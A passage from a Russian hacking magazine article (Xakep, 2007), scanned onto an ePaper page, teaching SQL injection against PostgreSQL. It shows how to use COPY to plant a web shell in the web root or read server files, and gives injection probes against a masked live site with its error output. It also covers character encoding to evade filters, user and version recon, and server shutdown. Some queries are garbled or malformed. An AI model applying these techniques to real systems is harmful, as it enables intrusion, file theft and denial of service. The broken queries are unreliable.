03.04.2014 Views

Май - Xakep Online

Май - Xakep Online

Май - Xakep Online

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

взлом<br />

Возможности программы COSS<br />

NGSSQuirreL в действии<br />

4. Для записи данных из файла в таблицу или наоборот, из<br />

таблицы в файл в PostgreSQL, используется оператор COPY.<br />

Вот его синтаксис, взятый из документации:<br />

COPY tablename [ ( column [, ...] ) ]<br />

TO { 'filename' | STDOUT }<br />

[ [ WITH ]<br />

[ BINARY ]<br />

[ OIDS ]<br />

[ DELIMITER [ AS ] 'delimiter' ]<br />

[ NULL [ AS ] 'null string' ] ]<br />

При копировании данных из таблицы в файл все просто:<br />

copy targettable to '/home/www/';copy.<br />

Для получения шелла в поле таблицы targettable, естественно,<br />

должен быть прописан код, создающий шелл (пример запроса:<br />

insert into «targettable"(columnname) values ('');). Поле columnname должно иметь строковой<br />

тип (char, varchar). Единственное «но» — нужны соответствующие<br />

права записи в файл и записи в директорию. Либо можно попытаться<br />

перезаписать уже существующий файл. Далее мы просто<br />

обращаемся к сайту напрямую, поскольку задана WWW-директория<br />

(в примере). В общем, тут много вариантов, можно, к примеру,<br />

еще и проапдейтить таблицу своими значениями (UPDATE).<br />

Если же нужно копировать существующий файл в таблицу, то<br />

последовательность действий должна быть следующей. Создаем<br />

новую таблицу с одним столбцом, выполняем запрос,<br />

копирующий файл в таблицу. Затем выполняем запрос для<br />

выбора данных из таблицы.<br />

Сами запросы по порядку:<br />

create table mytable(columnname);<br />

create table copy mytable (columnname) from '/home/www/file'<br />

union select culumnname from «mytable»<br />

5. Числа 0 и 1 не равнозначны булевым значениям TRUE и<br />

FALSE. Об этом свидетельствует и сам ответ сервера.<br />

Запрос:<br />

http://club.*****.ru/?part_id=10 or 1<br />

Вывод:<br />

Warning: pg_query(): Query failed: ERROR: Argument of or must<br />

be type boolean, not type integer in var/www/htdocs/veresk_<br />

club/classes/SQL.class.php on line 25<br />

Fatal error: Call to undefined function: fetchrow() in /var/www/<br />

htdocs/veresk_club/classes/SQL.class.php on line 25<br />

xàêåð 05 /101/ 07<br />

/<br />

Запрос:<br />

http://club.*****.ru/?part_id=10 or TRUE<br />

Вывод:<br />

Страница сайта.<br />

Запрос «http://club.*****.ru/?part_id=10 and TRUE=TRUE»<br />

успешно выполнится, а «http://club.*****.ru/?part_id=10 and<br />

TRUE=1» нет.<br />

6. Все select-запросы разделяются точкой с запятой, но на<br />

выходе мы наблюдаем результат только последнего запроса.<br />

То есть использование «ядовитого нуля» обязательно.<br />

Запрос:<br />

http://club.*****.ru/?part_id=10;select 1/**/<br />

Вывод:<br />

Страница сайта.<br />

7. Ограничение доступа никто не отменял, поэтому для<br />

записи в файл нужны соответствующие права. Нужно<br />

создать новый файл в доступной нам по правам<br />

папке или писать в другой файл, также доступный<br />

пользователю, под которым запущен PostgreSQL.<br />

8. Функция chr() возвращает ASCII-код символа. Но ее использование<br />

связано с некоторой сложностью, поскольку<br />

функция принимает и возвращает только один символ.<br />

Для получения кода целой строки придется вызывать<br />

отдельную функцию для каждого символа и в последствии<br />

объединять.<br />

Пример:<br />

Строка «123».<br />

Кодирование:<br />

chr(1)||chr(2)||chr(3)<br />

9. Текущего пользователя можно узнать, вызвав функцию<br />

User(), а версию — используя функцию version().<br />

10. Вырубить сервер всегда можно с помощью<br />

простой инструкции shutdown (при соответствующих<br />

правах).<br />

Все намного проще…<br />

В начале этого повествования я не успел обрадовать читателя<br />

и упомянуть о том, что извлечь данные из PostgreSQL при<br />

определенных обстоятельствах намного легче, чем из той же<br />

MySQL.<br />

http://<br />

Если хочется<br />

протестировать<br />

утилиты DB Audit<br />

и NGSSQuirreL, то<br />

их всегда можно<br />

скачать с официальных<br />

сайтов — www.<br />

softtreetech.com и<br />

www.ngssoftware.<br />

com. Правда,<br />

для скачивания<br />

последней утилиты<br />

придется<br />

зарегистрироваться.<br />

DVD<br />

На диске ты<br />

найдешь последние<br />

версии PostgreSQL<br />

и Oracle, а также<br />

интересные книги по<br />

структуре СУБД.<br />

079

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!